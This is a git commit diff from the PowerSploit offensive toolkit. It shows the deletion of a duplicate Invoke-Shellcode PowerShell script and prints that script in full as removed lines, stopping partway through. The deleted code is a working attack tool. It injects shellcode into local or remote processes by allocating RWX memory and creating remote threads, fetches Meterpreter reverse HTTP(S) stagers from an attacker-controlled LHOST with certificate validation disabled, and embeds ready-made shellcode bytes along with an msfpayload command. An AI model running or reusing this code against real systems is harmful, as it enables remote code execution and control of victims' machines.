Migrating everything back to Invoke-Shellcode.ps1. I'm done making my point now. :P

3 files changed, 719 insertions, 773 deletions

diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1
index 8dc5b75..0d0799b 100644
--- a/CodeExecution/CodeExecution.psd1
+++ b/CodeExecution/CodeExecution.psd1
@@ -73,7 +73,7 @@ AliasesToExport = ''
 ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'})
 
 # List of all files packaged with this module
-FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke--Shellcode.ps1', 'Invoke-DllInjection.ps1', 
+FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1', 
                'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md'
 
 # Private data to pass to the module specified in RootModule/ModuleToProcess
diff --git a/CodeExecution/Invoke--Shellcode.ps1 b/CodeExecution/Invoke--Shellcode.ps1
deleted file mode 100644
index b0ba81c..0000000
--- a/CodeExecution/Invoke--Shellcode.ps1
+++ /dev/null
@@ -1,763 +0,0 @@
-function Invoke-Shellcode
-{
-<#
-.SYNOPSIS
-
-Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
-
-PowerSploit Function: Invoke-Shellcode
-Author: Matthew Graeber (@mattifestation)
-License: BSD 3-Clause
-Required Dependencies: None
-Optional Dependencies: None
- 
-.DESCRIPTION
-
-Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
-
-PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
-
-msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- 
-
-Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
- 
-.PARAMETER ProcessID
-
-Process ID of the process you want to inject shellcode into.
-
-.PARAMETER Shellcode
-
-Specifies an optional shellcode passed in as a byte array
-
-.PARAMETER ListMetasploitPayloads
-
-Lists all of the available Metasploit payloads that Invoke-Shellcode supports
-
-.PARAMETER Lhost
-
-Specifies the IP address of the attack machine waiting to receive the reverse shell
-
-.PARAMETER Lport
- 
-Specifies the port of the attack machine waiting to receive the reverse shell
-
-.PARAMETER Payload
-
-Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.
-
-.PARAMETER UserAgent
-
-Optionally specifies the user agent to use when using meterpreter http or https payloads
-
-.PARAMETER Proxy
-
-Optionally specifies whether to utilize the proxy settings on the machine.
-
-.PARAMETER Legacy
-
-Optionally specifies whether to utilize the older meterpreter handler "INITM". This will likely be removed in the future. 
-
-.PARAMETER Force
-
-Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
-
-.EXAMPLE
-
-C:\PS> Invoke-Shellcode -ProcessId 4274
-
-Description
------------
-Inject shellcode into process ID 4274.
-
-.EXAMPLE
-
-C:\PS> Invoke-Shellcode
-
-Description
------------
-Inject shellcode into the running instance of PowerShell.
-
-.EXAMPLE
-
-C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
-C:\PS> $Proc = Get-Process notepad
-C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
-
-VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
-VERBOSE: Injecting shellcode into PID: 4004
-VERBOSE: Injecting into a Wow64 process.
-VERBOSE: Using 32-bit shellcode.
-VERBOSE: Shellcode memory reserved at 0x03BE0000
-VERBOSE: Emitting 32-bit assembly call stub.
-VERBOSE: Thread call stub memory reserved at 0x001B0000
-VERBOSE: Shellcode injection complete!
-
-Description
------------
-Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options:
-
-Payload options (windows/meterpreter/reverse_https):
-
-Name      Current Setting  Required  Description
-----      ---------------  --------  -----------
-EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
-LHOST     192.168.30.129   yes       The local listener hostname
-LPORT     443              yes       The local listener port
-
-.EXAMPLE
-
-C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80
-
-Description
------------
-Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options:
-
-Payload options (windows/meterpreter/reverse_http):
-
-Name      Current Setting  Required  Description
-----      ---------------  --------  -----------
-EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
-LHOST     192.168.30.129   yes       The local listener hostname
-LPORT     80               yes       The local listener port
-
-.EXAMPLE
-
-C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
-    
-Description
------------
-Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
-Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
-    
-.EXAMPLE
-
-C:\PS> Invoke-Shellcode -ListMetasploitPayloads
-    
-Payloads
---------
-windows/meterpreter/reverse_http
-windows/meterpreter/reverse_https
-
-.NOTES
-
-Use the '-Verbose' option to print detailed information.
-
-Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter
-
-Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
-
-.LINK
-
-http://www.exploit-monday.com
-#>
-
-[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
-    [ValidateNotNullOrEmpty()]
-    [UInt16]
-    $ProcessID,
-    
-    [Parameter( ParameterSetName = 'RunLocal' )]
-    [ValidateNotNullOrEmpty()]
-    [Byte[]]
-    $Shellcode,
-    
-    [Parameter( ParameterSetName = 'Metasploit' )]
-    [ValidateSet( 'windows/meterpreter/reverse_http',
-                  'windows/meterpreter/reverse_https',
-                  IgnoreCase = $True )]
-    [String]
-    $Payload = 'windows/meterpreter/reverse_http',
-    
-    [Parameter( ParameterSetName = 'ListPayloads' )]
-    [Switch]
-    $ListMetasploitPayloads,
-    
-    [Parameter( Mandatory = $True,
-                ParameterSetName = 'Metasploit' )]
-    [ValidateNotNullOrEmpty()]
-    [String]
-    $Lhost = '127.0.0.1',
-    
-    [Parameter( Mandatory = $True,
-                ParameterSetName = 'Metasploit' )]
-    [ValidateRange( 1,65535 )]
-    [Int]
-    $Lport = 8443,
-    
-    [Parameter( ParameterSetName = 'Metasploit' )]
-    [ValidateNotNull()]
-    [String]
-    $UserAgent = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent',
-
-    [Parameter( ParameterSetName = 'Metasploit' )]
-    [ValidateNotNull()]
-    [Switch]
-    $Legacy = $False,
-
-    [Parameter( ParameterSetName = 'Metasploit' )]
-    [ValidateNotNull()]
-    [Switch]
-    $Proxy = $False,
-    
-    [Switch]
-    $Force = $False
-)
-
-    Set-StrictMode -Version 2.0
-    
-    # List all available Metasploit payloads and exit the function
-    if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
-    {
-        $AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes |
-            Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
-    
-        foreach ($Payload in $AvailablePayloads.ValidValues)
-        {
-            New-Object PSObject -Property @{ Payloads = $Payload }
-        }
-        
-        Return
-    }
-
-    if ( $PSBoundParameters['ProcessID'] )
-    {
-        # Ensure a valid process ID was provided
-        # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
-        Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
-    }
-    
-    function Local:Get-DelegateType
-    {
-        Param
-        (
-            [OutputType([Type])]
-            
-            [Parameter( Position = 0)]
-            [Type[]]
-            $Parameters = (New-Object Type[](0)),
-            
-            [Parameter( Position = 1 )]
-            [Type]
-            $ReturnType = [Void]
-        )
-
-        $Domain = [AppDomain]::CurrentDomain
-        $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
-        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
-        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
-        $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
-        $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
-        $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
-        $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
-        $MethodBuilder.SetImplementationFlags('Runtime, Managed')
-        
-        Write-Output $TypeBuilder.CreateType()
-    }
-
-    function Local:Get-ProcAddress
-    {
-        Param
-        (
-            [OutputType([IntPtr])]
-        
-            [Parameter( Position = 0, Mandatory = $True )]
-            [String]
-            $Module,
-            
-            [Parameter( Position = 1, Mandatory = $True )]
-            [String]
-            $Procedure
-        )
-
-        # Get a reference to System.dll in the GAC
-        $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
-            Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
-        $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
-        # Get a reference to the GetModuleHandle and GetProcAddress methods
-        $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
-        $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
-        # Get a handle to the module specified
-        $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
-        $tmpPtr = New-Object IntPtr
-        $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
-        
-        # Return the address of the function
-        Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
-    }
-
-    # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
-    function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
-    {
-        $IntSizePtr = $Architecture / 8
-
-        function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
-        {
-            $LittleEndianByteArray = New-Object Byte[](0)
-            $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
-            [System.Array]::Reverse($LittleEndianByteArray)
-            
-            Write-Output $LittleEndianByteArray
-        }
-        
-        $CallStub = New-Object Byte[](0)
-        
-        if ($IntSizePtr -eq 8)
-        {
-            [Byte[]] $CallStub = 0x48,0xB8                      # MOV   QWORD RAX, &shellcode
-            $CallStub += ConvertTo-LittleEndian $BaseAddr       # &shellcode
-            $CallStub += 0xFF,0xD0                              # CALL  RAX
-            $CallStub += 0x6A,0x00                              # PUSH  BYTE 0
-            $CallStub += 0x48,0xB8                              # MOV   QWORD RAX, &ExitThread
-            $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
-            $CallStub += 0xFF,0xD0                              # CALL  RAX
-        }
-        else
-        {
-            [Byte[]] $CallStub = 0xB8                           # MOV   DWORD EAX, &shellcode
-            $CallStub += ConvertTo-LittleEndian $BaseAddr       # &shellcode
-            $CallStub += 0xFF,0xD0                              # CALL  EAX
-            $CallStub += 0x6A,0x00                              # PUSH  BYTE 0
-            $CallStub += 0xB8                                   # MOV   DWORD EAX, &ExitThread
-            $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
-            $CallStub += 0xFF,0xD0                              # CALL  EAX
-        }
-        
-        Write-Output $CallStub
-    }
-
-    function Local:Inject-RemoteShellcode ([Int] $ProcessID)
-    {
-        # Open a handle to the process you want to inject into
-        $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
-        
-        if (!$hProcess)
-        {
-            Throw "Unable to open a process handle for PID: $ProcessID"
-        }
-
-        $IsWow64 = $false
-
-        if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
-        {
-            # Determine is the process specified is 32 or 64 bit
-            $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
-            
-            if ((!$IsWow64) -and $PowerShell32bit)
-            {
-                Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
-            }
-            elseif ($IsWow64) # 32-bit Wow64 process
-            {
-                if ($Shellcode32.Length -eq 0)
-                {
-                    Throw 'No shellcode was placed in the $Shellcode32 variable!'
-                }
-                
-                $Shellcode = $Shellcode32
-                Write-Verbose 'Injecting into a Wow64 process.'
-                Write-Verbose 'Using 32-bit shellcode.'
-            }
-            else # 64-bit process
-            {
-                if ($Shellcode64.Length -eq 0)
-                {
-                    Throw 'No shellcode was placed in the $Shellcode64 variable!'
-                }
-                
-                $Shellcode = $Shellcode64
-                Write-Verbose 'Using 64-bit shellcode.'
-            }
-        }
-        else # 32-bit CPU
-        {
-            if ($Shellcode32.Length -eq 0)
-            {
-                Throw 'No shellcode was placed in the $Shellcode32 variable!'
-            }
-            
-            $Shellcode = $Shellcode32
-            Write-Verbose 'Using 32-bit shellcode.'
-        }
-
-        # Reserve and commit enough memory in remote process to hold the shellcode
-        $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
-        
-        if (!$RemoteMemAddr)
-        {
-            Throw "Unable to allocate shellcode memory in PID: $ProcessID"
-        }
-        
-        Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
-
-        # Copy shellcode into the previously allocated memory
-        $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
-
-        # Get address of ExitThread function
-        $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
-
-        if ($IsWow64)
-        {
-            # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
-            $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
-            
-            Write-Verbose 'Emitting 32-bit assembly call stub.'
-        }
-        else
-        {
-            # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
-            $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
-            
-            Write-Verbose 'Emitting 64-bit assembly call stub.'
-        }
-
-        # Allocate inline assembly stub
-        $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
-        
-        if (!$RemoteStubAddr)
-        {
-            Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
-        }
-        
-        Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
-
-        # Write 32-bit assembly stub to remote process memory space
-        $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
-
-        # Execute shellcode as a remote thread
-        $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
-        
-        if (!$ThreadHandle)
-        {
-            Throw "Unable to launch remote thread in PID: $ProcessID"
-        }
-
-        # Close process handle
-        $CloseHandle.Invoke($hProcess) | Out-Null
-
-        Write-Verbose 'Shellcode injection complete!'
-    }
-
-    function Local:Inject-LocalShellcode
-    {
-        if ($PowerShell32bit) {
-            if ($Shellcode32.Length -eq 0)
-            {
-                Throw 'No shellcode was placed in the $Shellcode32 variable!'
-                return
-            }
-            
-            $Shellcode = $Shellcode32
-            Write-Verbose 'Using 32-bit shellcode.'
-        }
-        else
-        {
-            if ($Shellcode64.Length -eq 0)
-            {
-                Throw 'No shellcode was placed in the $Shellcode64 variable!'
-                return
-            }
-            
-            $Shellcode = $Shellcode64
-            Write-Verbose 'Using 64-bit shellcode.'
-        }
-    
-        # Allocate RWX memory for the shellcode
-        $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
-        if (!$BaseAddress)
-        {
-            Throw "Unable to allocate shellcode memory in PID: $ProcessID"
-        }
-        
-        Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
-
-        # Copy shellcode to RWX buffer
-        [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
-        
-        # Get address of ExitThread function
-        $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
-        
-        if ($PowerShell32bit)
-        {
-            $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
-            
-            Write-Verbose 'Emitting 32-bit assembly call stub.'
-        }
-        else
-        {
-            $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
-            
-            Write-Verbose 'Emitting 64-bit assembly call stub.'
-        }
-
-        # Allocate RWX memory for the thread call stub
-        $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
-        if (!$CallStubAddress)
-        {
-            Throw "Unable to allocate thread call stub."
-        }
-        
-        Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
-
-        # Copy call stub to RWX buffer
-        [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
-
-        # Launch shellcode in it's own thread
-        $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
-        if (!$ThreadHandle)
-        {
-            Throw "Unable to launch thread."
-        }
-
-        # Wait for shellcode thread to terminate
-        $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
-        
-        $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
-        $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
-
-        Write-Verbose 'Shellcode injection complete!'
-    }
-
-    # A valid pointer to IsWow64Process will be returned if CPU is 64-bit
-    $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
-    if ($IsWow64ProcessAddr)
-    {
-    	$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
-    	$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
-        
-        $64bitCPU = $true
-    }
-    else
-    {
-    	$64bitCPU = $false
-    }
-
-    if ([IntPtr]::Size -eq 4)
-    {
-        $PowerShell32bit = $true
-    }
-    else
-    {
-        $PowerShell32bit = $false
-    }
-
-    if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
-    {
-        if (!$PowerShell32bit) {
-            # The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell
-            # Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function
-
-            # Pull out just the content of the this script's invocation.
-            $RootInvocation = $MyInvocation.Line
-
-            $Response = $True
-        
-            if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",
-                   "Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }
-        
-            if ( !$Response )
-            {
-                # User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function
-                Return
-            }
-
-            # Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.
-            if ($MyInvocation.BoundParameters['Force'])
-            {
-                Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"
-                $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"
-            }
-            else
-            {
-                Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"
-                $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"
-            }
-
-            $CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
-            $EncodedCommand = [Convert]::ToBase64String($CommandBytes)
-
-            $Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"
-            Invoke-Expression -Command $Execute | Out-Null
-
-            # Exit the script since the shellcode will be running from x86 PowerShell
-            Return
-        }
-        
-        $Response = $True
-        
-        if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
-               "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
-        
-        if ( !$Response )
-        {
-            # User opted not to carry out download of Metasploit payload. Exit function
-            Return
-        }
-        
-        switch ($Payload)
-        {
-            'windows/meterpreter/reverse_http'
-            {
-                $SSL = ''
-            }
-            
-            'windows/meterpreter/reverse_https'
-            {
-                $SSL = 's'
-                # Accept invalid certificates
-                [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True}
-            }
-        }
-        
-        if ($Legacy) 
-        {
-            # Old Meterpreter handler expects 'INITM' in the URI in order to initiate stage 0
-            $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
-            Write-Verbose "Requesting meterpreter payload from $Request"
-        } else {
-
-            # Generate a URI that passes the test
-            $CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_}
-            $SumTest = $False
-
-            while ($SumTest -eq $False) 
-            {
-                $GeneratedUri = $CharArray | Get-Random -Count 4
-                $SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)
-            }
-
-            $RequestUri = -join $GeneratedUri
-
-            $Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)" 
-        }
-           
-        $Uri = New-Object Uri($Request)
-        $WebClient = New-Object System.Net.WebClient
-        $WebClient.Headers.Add('user-agent', "$UserAgent")
-        
-        if ($Proxy)
-        {
-            $WebProxyObject = New-Object System.Net.WebProxy
-            $ProxyAddress = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer
-            
-            # if there is no proxy set, then continue without it
-            if ($ProxyAddress) 
-            {
-            
-                $WebProxyObject.Address = $ProxyAddress
-                $WebProxyObject.UseDefaultCredentials = $True
-                $WebClientObject.Proxy = $WebProxyObject
-            }
-        }
-
-        try
-        {
-            [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
-        }
-        catch
-        {
-            Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
-        }
-        [Byte[]] $Shellcode64 = $Shellcode32
-
-    }
-    elseif ($PSBoundParameters['Shellcode'])
-    {
-        # Users passing in shellcode  through the '-Shellcode' parameter are responsible for ensuring it targets
-        # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
-        [Byte[]] $Shellcode32 = $Shellcode
-        [Byte[]] $Shellcode64 = $Shellcode32
-    }
-    else
-    {
-        # Pop a calc... or whatever shellcode you decide to place in here
-        # I sincerely hope you trust that this shellcode actually pops a calc...
-        # Insert your shellcode here in the for 0xXX,0xXX,...
-        # 32-bit payload
-        # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
-        [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
-                                  0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
-                                  0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
-                                  0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
-                                  0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
-                                  0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
-                                  0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
-                                  0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
-                                  0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
-                                  0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
-                                  0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
-                                  0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
-                                  0x61,0x6c,0x63,0x00)
-
-        # 64-bit payload
-        # msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread
-        [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
-                                  0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
-                                  0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
-                                  0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
-                                  0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
-                                  0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
-                                  0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
-                                  0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
-                                  0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
-                                  0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
-                                  0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
-                                  0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
-                                  0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
-                                  0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
-                                  0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
-                                  0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
-                                  0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
-    }
-
-    if ( $PSBoundParameters['ProcessID'] )
-    {
-        # Inject shellcode into the specified process ID
-        $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
-        $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
-        $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
-        $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
-        $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
-        $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
-        $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
-        $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
